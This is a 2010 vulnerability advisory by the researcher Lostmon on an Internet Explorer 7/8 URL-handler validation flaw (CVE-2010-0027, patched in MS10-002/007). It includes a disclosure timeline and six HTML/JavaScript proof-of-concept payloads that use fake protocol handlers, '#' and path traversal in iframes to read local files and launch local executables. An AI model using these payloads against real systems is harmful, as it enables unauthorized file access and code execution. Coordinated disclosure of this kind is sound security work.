Internet explorer 7 & 8 URL Validation Vulnerability

Wednesday, February 10, 2010
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Internet explorer 7 & 8 url validation vulnerability
Original Advisore: http://lostmon.blogspot.com/
2010/02/internet-explorer-7-8-url-validation.html
Vendor URl: http://www.microsoft.com
related adv:http://lostmon.blogspot.com/
2010/02/internet-explorer-6-7-8-url-validation.html
related bulletin: MS10-002 and ms10-007
Related CVE 2010-0027
Related OSVDB ID: 62245 and 62245
Related Secunia: SA38501 and SA38209
Related BID: 37884
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############
Description
############


A remote code execution vulnerability exists in the way
that Internet Explorer incorrectly validates input. An
attacker could exploit the vulnerability by constructing
a specially crafted URL. When a user clicks the URL, the
vulnerability could allow remote code execution. An
attacker who successfully exploited this vulnerability
could gain the same user rights as the logged-on user.
If a user is logged on with administrative user rights,


#################
Versions afected
#################

I have tested in Internet Explorer 7 & 8
in this versions of windows

All versions of Windows 7
Windows xp home
Windows xs pro

So you can look the explotability index
From Relared Microsoft bulletin to get
a complete List of products affected.

#############
Timeline
#############

discovered 05-11-2009
Reported to vendor 15-11-2009
Vendor response:15-11-2009
vendor accepts in case manager 19-11-2009
vendor patch 21-01-2010
Vendor Patch2:09-02-2010
Public Disclosure: 21-01-2010
Details Disclosure:10-02-2010


##############
Solution
##############

See
http://www.microsoft.com/technet/security/Bulletin/ms10-002.mspx
and
http://www.microsoft.com/technet/security/Bulletin/ms10-007.mspx

for more details and for download vendor's patch

#######################
Sample code and PoC´s
#######################

This Vulnerability is bassed in the way
that Internet explorer validate Uri handlers
and the special chart '#'

for testing and undestanding first open internet explorer
and write in teh address bar a fake handler like `handler:'
it cause that IE shows 'res://ieframe.dll/unknownprotocol.htm'
internal page , because the protocol is unknow.
if we do => handler:http://[some-host]' Ie wait to open
the host, but don´t show any error or unknow protocol
error page.

If we Write at the adrress bar 'handler:handler2:'
IE shows again 'res://ieframe.dll/unknownprotocol.htm' page.

But if we concatenate two unknow protocol handlers and
use the special char '#' like 'handler:handler#:'
internet explorer shows a alert warning
with 'internet explorer can´t find file:///'

With this convination IE use file: protocol handler.

With this alert we can think... if we concatenate two handlers and #
char and a file path we can access to files on the hard disk.

"handler:handler#:c:\windows\calc.exe'
But we get again 'internet explorer can´t find the file'

Them we look for trasversal file access like
handler:handler#:../../../../C:\windows/calc.exe’
Them Ie promp us to download or execute the file.
we have bypass the restrictions!!!

so we are working in the address bar
Can a web page use this issue to make the same and ask
for download it ? YES

we can construct a web page with a iframe like:

############# PoC one #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe"></html>
################# EOF #################

If we open it via local folder, or via local server or
lan server or remote server, in all cases iE ask for download

them we can access any file in the hard disk so
can we execute or read the content of a file ?? YES

if we know a txt file path we can do similar
( put a txt file in c: root and wite some content it)
and them :

############## PoC Two #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt"></html>

############# EOF #################

wen we open this Poc , it read the content from our_txtfile.txt
and show it in the frame.


we can execute files ?? YES

we can execute a html file or xml file or search-ms files
from hard disk for example:

############# PoC Tree ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>

############### EOF ###########

if we look it executes Explorer with a local search :D


can we read the content of any file and upload it to a server or
manage the content ??

i don´t have found a way to do it
all times internet explorer denies the access to the content from
iframe.

############# PoC four ##############

<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);

content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>

<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>

</body>
</html>

##################### EOF #############################

it give a access deniet error
if we look to use XMLHttpRequest()

it does not work again and access is denied:

########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(’GET’,
‘handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms’,
true);
req.send(”);
############ EOF #############

if we use it as a activex it
shows again a access denied :P

############### PoC six #############

<html><body><div>

<script>
function getHTTPObject()
{
if (typeof XMLHttpRequest != 'undefined')
{
return new XMLHttpRequest();
}
try {
return new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
return false;
}
x = getHTTPObject();
x.open("GET","shit:shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms",false);
x.send(null);
alert(x.responseText);

</script>

</div></body></html>

################ EOF ######################

Them we can think that we can read txt files , execute html,xml
search-ms files , and download and execute Binaries files from the
victims hard disk , only with view a crafted web page.

Microsoft has pached it and has release a secutiry bulletin
that solve this issue see
http://www.microsoft.com/technet/security/Bulletin/ms10-002.mspx
and
http://www.microsoft.com/technet/security/Bulletin/ms10-007.mspx
for details and for download the security update that solve this
issue and seven vulnerabilities more.

#################### €nd ################

Thnx to Google security Team for his support
Thnx to MSRC for his support and acknowledgments
Thnx To icar0 & sha0 from Badchecksum
Thnx To Brink For test with me in some windows :D
Thns to estrella to be my ligth
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

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